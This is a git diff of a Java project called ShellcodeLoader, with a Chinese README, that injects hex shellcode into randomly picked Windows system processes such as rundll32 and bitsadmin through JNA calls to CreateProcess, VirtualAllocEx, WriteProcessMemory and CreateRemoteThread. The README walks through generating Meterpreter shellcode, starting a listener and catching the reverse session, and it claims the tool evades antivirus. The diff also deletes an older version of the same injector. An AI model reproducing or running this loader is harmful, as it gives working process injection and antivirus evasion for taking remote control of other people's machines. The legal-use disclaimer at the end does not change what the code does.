diff --git a/.gitignore b/.gitignore new file mode 100644 index 0000000..4544264 --- /dev/null +++ b/.gitignore @@ -0,0 +1,33 @@ +# Compiled class file +*.class + +# Eclipse +.project +.classpath +.settings/ + +# Intellij +*.ipr +*.iml +*.iws +.idea/ +.vscode/ + +# Maven +target/ + +# Gradle +build +.gradle + +# Log file +*.log +log/ + +# out +**/out/ + +# Mac +.DS_Store + +temp/ \ No newline at end of file diff --git a/README.assets/image-20211205205857990.png b/README.assets/image-20211205205857990.png new file mode 100644 index 0000000..065f6db Binary files /dev/null and b/README.assets/image-20211205205857990.png differ diff --git a/README.md b/README.md index 2314aba..f05406e 100644 --- a/README.md +++ b/README.md @@ -2,22 +2,30 @@ 基于Java实现的ShellCode加载器,兼容32位及64位平台。 -核心代码来源于:[JEShell: An OceanLotus (APT32) Backdoor](https://norfolkinfosec.com/jeshell-an-oceanlotus-apt32-backdoor/) +核心原理是利用Jna来调用Windows API,实现shellcode的注入。 运行环境:Jre >= 1.5 +注:本项目已经内置在[yzddmr6/As-Exploits](https://github.com/yzddmr6/As-Exploits)的ShellCodeLoader模块中。 + ## 编译 -``` -mvn package -DskipTests -``` +maven package ## 使用 +默认会随机注入32位进程,请使用32位的shellcode + ``` java -jar ShellcodeLoader.jar shellcode_hex ``` +注入x64位shellcode + +``` +java -jar ShellcodeLoader.jar --x64 shellcode_hex +``` + ## 举例 ### kali @@ -32,7 +40,7 @@ java -jar ShellcodeLoader.jar shellcode_hex No encoder specified, outputting raw payload Payload size: 354 bytes Final size of hex file: 708 bytes -fce88f0000006089e531d2648b5xxxx +fce88f0000006089e531d2648b5.... ``` 然后开启监听 @@ -49,7 +57,15 @@ exploit -j ### 客户端 ``` -java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5xxxx +java -jar ShellcodeLoader.jar fce88f0000006089e531d2648b5.... ``` -即可收到反弹的Meterpreter \ No newline at end of file +即可收到反弹的Meterpreter + +## 免杀 + +![image-20211205205857990](README.assets/image-20211205205857990.png) + +## 注意事项 + +本项目仅供合法的渗透测试以及爱好者参考学习,请勿用于非法用途,否则自行承担相关责任。 \ No newline at end of file diff --git a/lib/tinyjna.jar b/lib/tinyjna.jar new file mode 100644 index 0000000..a505244 Binary files /dev/null and b/lib/tinyjna.jar differ diff --git a/pom.xml b/pom.xml index dcb2311..67f48ed 100644 --- a/pom.xml +++ b/pom.xml @@ -4,12 +4,12 @@ xsi:schemaLocation="http://maven.apache.org/POM/4.0.0 http://maven.apache.org/xsd/maven-4.0.0.xsd"> 4.0.0 - com.yzddmr6 + asexploits ShellcodeLoader 1.0-SNAPSHOT - com.yzddmr6.ShellcodeLoader - http://www.example.com + asexploits.ShellcodeLoader + https://github.com/yzddmr6/As-Exploits UTF-8 @@ -18,10 +18,22 @@ + + + + + + + + + + net.java.dev.jna jna-platform - 5.5.0 + 1.2.0 + system + ${project.basedir}/lib/tinyjna.jar @@ -51,12 +63,12 @@ - com.yzddmr6.ShellcodeLoader + asexploits.ShellcodeLoader - - jar-with-dependencies - + + src/main/resources/assembly.xml + diff --git a/src/META-INF/MANIFEST.MF b/src/META-INF/MANIFEST.MF new file mode 100644 index 0000000..ba5250c --- /dev/null +++ b/src/META-INF/MANIFEST.MF @@ -0,0 +1,3 @@ +Manifest-Version: 1.0 +Main-Class: asexploits.ShellcodeLoader + diff --git a/src/main/java/asexploits/ShellcodeLoader.java b/src/main/java/asexploits/ShellcodeLoader.java new file mode 100644 index 0000000..2e48247 --- /dev/null +++ b/src/main/java/asexploits/ShellcodeLoader.java @@ -0,0 +1,167 @@ +package asexploits; + +import com.sun.jna.Memory; +import com.sun.jna.Native; +import com.sun.jna.Pointer; +import com.sun.jna.platform.win32.Kernel32; +import com.sun.jna.platform.win32.WinBase; +import com.sun.jna.platform.win32.WinDef; +import com.sun.jna.platform.win32.WinNT; +import com.sun.jna.platform.win32.WinNT.HANDLE; +import com.sun.jna.ptr.IntByReference; +import com.sun.jna.win32.StdCallLibrary; +import com.sun.jna.win32.W32APIOptions; + +import java.io.File; +import java.util.Random; + +public class ShellcodeLoader { + static Kernel32 kernel32; + static IKernel32 iKernel32; + public static String[] ProcessArrayx32 = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"}; + public static String[] ProcessArrayx64 = {"C:\\Windows\\System32\\rundll32.exe", "C:\\Windows\\System32\\find.exe", "C:\\Windows\\System32\\fc.exe", "C:\\Windows\\System32\\ARP.EXE", "C:\\Windows\\System32\\expand.exe"}; + + static { + kernel32 = (Kernel32) Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); + iKernel32 = (IKernel32) Native.loadLibrary("kernel32", IKernel32.class); + } + + + public static void main(String[] args) { + ShellcodeLoader jnaLoader = new ShellcodeLoader(); + String shellcode = null; + boolean is64 = false; + switch (args.length) { + case 1: + is64 = false; + shellcode = args[0]; + break; + case 2: + if ("--x64".equals(args[0])) { + is64 = true; + } + shellcode = args[1]; + break; + default: + System.out.println("Usage: java -jar ShellcodeLoader.jar shellcode_hex \n" + + "注入x64位shellcode: Usage: java -jar ShellcodeLoader.jar --x64 shellcode_hex"); + System.exit(1); + break; + } + + + System.out.println("\nShellcode: \n" + shellcode); + jnaLoader.loadShellCode(shellcode, is64); + } + + public void loadShellCode(String shellcodeHex) { + this.loadShellCode(shellcodeHex, false); + } + + public void loadShellCode(String shellcodeHex, boolean is64) { + + String[] targetProcessArray = null; + //打乱数组顺序 + shuffleArray(ProcessArrayx64); + shuffleArray(ProcessArrayx32); + // java是64位且选择注入64位shellcode + if (System.getProperty("sun.arch.data.model").equals("64") && is64) { + targetProcessArray = mergeArrays(ProcessArrayx64, ProcessArrayx32); + } else { //默认注入32位进程 + targetProcessArray = mergeArrays(ProcessArrayx32, ProcessArrayx64); + } + String targetProcess = null; + for (int i = 0; i < targetProcessArray.length; i++) { + targetProcess = targetProcessArray[i]; + if (new File(targetProcess).exists()) { + break; + } + } + this.loadShellCode(shellcodeHex, targetProcess); + + } + + public static void shuffleArray(String[] arr) { + Random rand = new Random(); + for (int i = arr.length - 1; i > 0; i--) { + int index = rand.nextInt(i + 1); + String temp = arr[i]; + arr[i] = arr[index]; + arr[index] = temp; + } + } + + public static String[] mergeArrays(String[] a, String[] b) { + String[] c = new String[a.length + b.length]; + int i = 0; + for (String s : a) { + c[i] = s; + i++; + } + for (String s : b) { + c[i] = s; + i++; + } + return c; + } + + public void loadShellCode(String shellcodeHex, String targetProcess) { + System.out.println("targetProcess: " + targetProcess); + byte[] shellcode = hexStrToByteArray(shellcodeHex); + int shellcodeSize = shellcode.length; + IntByReference intByReference = new IntByReference(0); + Memory memory = new Memory((long) shellcodeSize); + + for (int j = 0; j < shellcodeSize; ++j) { + memory.setByte((long) j, shellcode[j]); + } + + WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION(); + WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO(); + sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size()); + if (kernel32.CreateProcess(targetProcess, (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) { + Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); + iKernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference); + HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null); + kernel32.WaitForSingleObject(hANDLE, -1); + } + } + + + public static byte[] hexStrToByteArray(String str) { + if (str == null) { + return null; + } else if (str.length() == 0) { + return new byte[0]; + } else { + byte[] byteArray = new byte[str.length() / 2]; + + for (int i = 0; i < byteArray.length; ++i) { + String subStr = str.substring(2 * i, 2 * i + 2); + byteArray[i] = (byte) Integer.parseInt(subStr, 16); + } + + return byteArray; + } + } + + interface IKernel32 extends StdCallLibrary { + Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4); + + HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6); + + Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5); + + HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7); + + boolean WriteProcessMemory(WinNT.HANDLE param1HANDLE, Pointer param1Pointer1, Pointer param1Pointer2, int param1Int, IntByReference param1IntByReference); + + boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5); + + int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4); + + Pointer OpenProcess(int var1, boolean var2, int var3); + + Pointer GetCurrentProcess(); + } +} diff --git a/src/main/java/com/yzddmr6/ShellcodeLoader.java b/src/main/java/com/yzddmr6/ShellcodeLoader.java deleted file mode 100644 index c3df542..0000000 --- a/src/main/java/com/yzddmr6/ShellcodeLoader.java +++ /dev/null @@ -1,101 +0,0 @@ -package com.yzddmr6; - -import com.sun.jna.Memory; -import com.sun.jna.Native; -import com.sun.jna.Pointer; -import com.sun.jna.platform.win32.Kernel32; -import com.sun.jna.platform.win32.WinBase; -import com.sun.jna.platform.win32.WinDef; -import com.sun.jna.platform.win32.WinNT.HANDLE; -import com.sun.jna.ptr.IntByReference; -import com.sun.jna.win32.StdCallLibrary; -import com.sun.jna.win32.W32APIOptions; - -import java.util.Random; - -public class ShellcodeLoader { - static Kernel32 kernel32; - static IKernel32 iKernel32; - public static String[] ProcessArray = {"C:\\Windows\\SysWOW64\\ARP.exe", "C:\\Windows\\SysWOW64\\at.exe", "C:\\Windows\\SysWOW64\\auditpol.exe", "C:\\Windows\\SysWOW64\\bitsadmin.exe", "C:\\Windows\\SysWOW64\\bootcfg.exe", "C:\\Windows\\SysWOW64\\ByteCodeGenerator.exe", "C:\\Windows\\SysWOW64\\cacls.exe", "C:\\Windows\\SysWOW64\\chcp.com", "C:\\Windows\\SysWOW64\\CheckNetIsolation.exe", "C:\\Windows\\SysWOW64\\chkdsk.exe", "C:\\Windows\\SysWOW64\\choice.exe", "C:\\Windows\\SysWOW64\\cmdkey.exe", "C:\\Windows\\SysWOW64\\comp.exe", "C:\\Windows\\SysWOW64\\diskcomp.com", "C:\\Windows\\SysWOW64\\Dism.exe", "C:\\Windows\\SysWOW64\\esentutl.exe", "C:\\Windows\\SysWOW64\\expand.exe", "C:\\Windows\\SysWOW64\\fc.exe", "C:\\Windows\\SysWOW64\\find.exe", "C:\\Windows\\SysWOW64\\gpresult.exe"}; - - static { - kernel32 = Native.loadLibrary(Kernel32.class, W32APIOptions.UNICODE_OPTIONS); - iKernel32 = Native.loadLibrary("kernel32", IKernel32.class); - } - - - public static void main(String[] args) { - ShellcodeLoader jnaLoader = new ShellcodeLoader(); - String shellcode = args[0]; - System.out.println("\nShellcode: \n" + shellcode); - jnaLoader.loadShellCode(shellcode); - } - - public void loadShellCode(String shellcodeHex) { - byte[] shellcode = hexStrToByteArray(shellcodeHex); - int shellcodeSize = shellcode.length; - IntByReference intByReference = new IntByReference(0); - Memory memory = new Memory((long) shellcodeSize); - - int j; - for (j = 0; j < shellcodeSize; ++j) { - memory.setByte((long) j, shellcode[j]); - } - - if (System.getProperty("sun.arch.data.model").equals("32")) { - Pointer pointer = iKernel32.VirtualAlloc(Pointer.createConstant(0), shellcodeSize, 4096, 64); - kernel32.WriteProcessMemory(kernel32.GetCurrentProcess(), pointer, memory, shellcodeSize, intByReference); - HANDLE hANDLE = iKernel32.CreateThread((Object) null, 0, pointer, 0, 0, (Object) null); - kernel32.WaitForSingleObject(hANDLE, -1); - } else { - j = ProcessArray.length; - byte b = 0; - Random random = new Random(); - int k = b + random.nextInt(j); - WinBase.PROCESS_INFORMATION pROCESS_INFORMATION = new WinBase.PROCESS_INFORMATION(); - WinBase.STARTUPINFO sTARTUPINFO = new WinBase.STARTUPINFO(); - sTARTUPINFO.cb = new WinDef.DWORD((long) pROCESS_INFORMATION.size()); - if (kernel32.CreateProcess(ProcessArray[k], (String) null, (WinBase.SECURITY_ATTRIBUTES) null, (WinBase.SECURITY_ATTRIBUTES) null, false, new WinDef.DWORD(4L), (Pointer) null, (String) null, sTARTUPINFO, pROCESS_INFORMATION)) { - Pointer pointer = iKernel32.VirtualAllocEx(pROCESS_INFORMATION.hProcess, Pointer.createConstant(0), shellcodeSize, 4096, 64); - kernel32.WriteProcessMemory(pROCESS_INFORMATION.hProcess, pointer, memory, shellcodeSize, intByReference); - HANDLE hANDLE = iKernel32.CreateRemoteThread(pROCESS_INFORMATION.hProcess, (Object) null, 0, pointer, 0, 0, (Object) null); - kernel32.WaitForSingleObject(hANDLE, -1); - } - } - } - - public static byte[] hexStrToByteArray(String str) { - if (str == null) { - return null; - } else if (str.length() == 0) { - return new byte[0]; - } else { - byte[] byteArray = new byte[str.length() / 2]; - - for (int i = 0; i < byteArray.length; ++i) { - String subStr = str.substring(2 * i, 2 * i + 2); - byteArray[i] = (byte) Integer.parseInt(subStr, 16); - } - - return byteArray; - } - } - - interface IKernel32 extends StdCallLibrary { - Pointer VirtualAlloc(Pointer var1, int var2, int var3, int var4); - - HANDLE CreateThread(Object var1, int var2, Pointer var3, int var4, int var5, Object var6); - - Pointer VirtualAllocEx(HANDLE var1, Pointer var2, int var3, int var4, int var5); - - HANDLE CreateRemoteThread(HANDLE var1, Object var2, int var3, Pointer var4, int var5, int var6, Object var7); - - boolean ReadProcessMemory(Pointer var1, int var2, Pointer var3, int var4, IntByReference var5); - - int VirtualQueryEx(Pointer var1, Pointer var2, Pointer var3, int var4); - - Pointer OpenProcess(int var1, boolean var2, int var3); - - Pointer GetCurrentProcess(); - } -} diff --git a/src/main/resources/assembly.xml b/src/main/resources/assembly.xml new file mode 100644 index 0000000..0345be0 --- /dev/null +++ b/src/main/resources/assembly.xml @@ -0,0 +1,27 @@ + + + jar-with-dependencies + + + jar + + + false + + + + / + true + true + runtime + + + + + / + true + true + system + + + \ No newline at end of file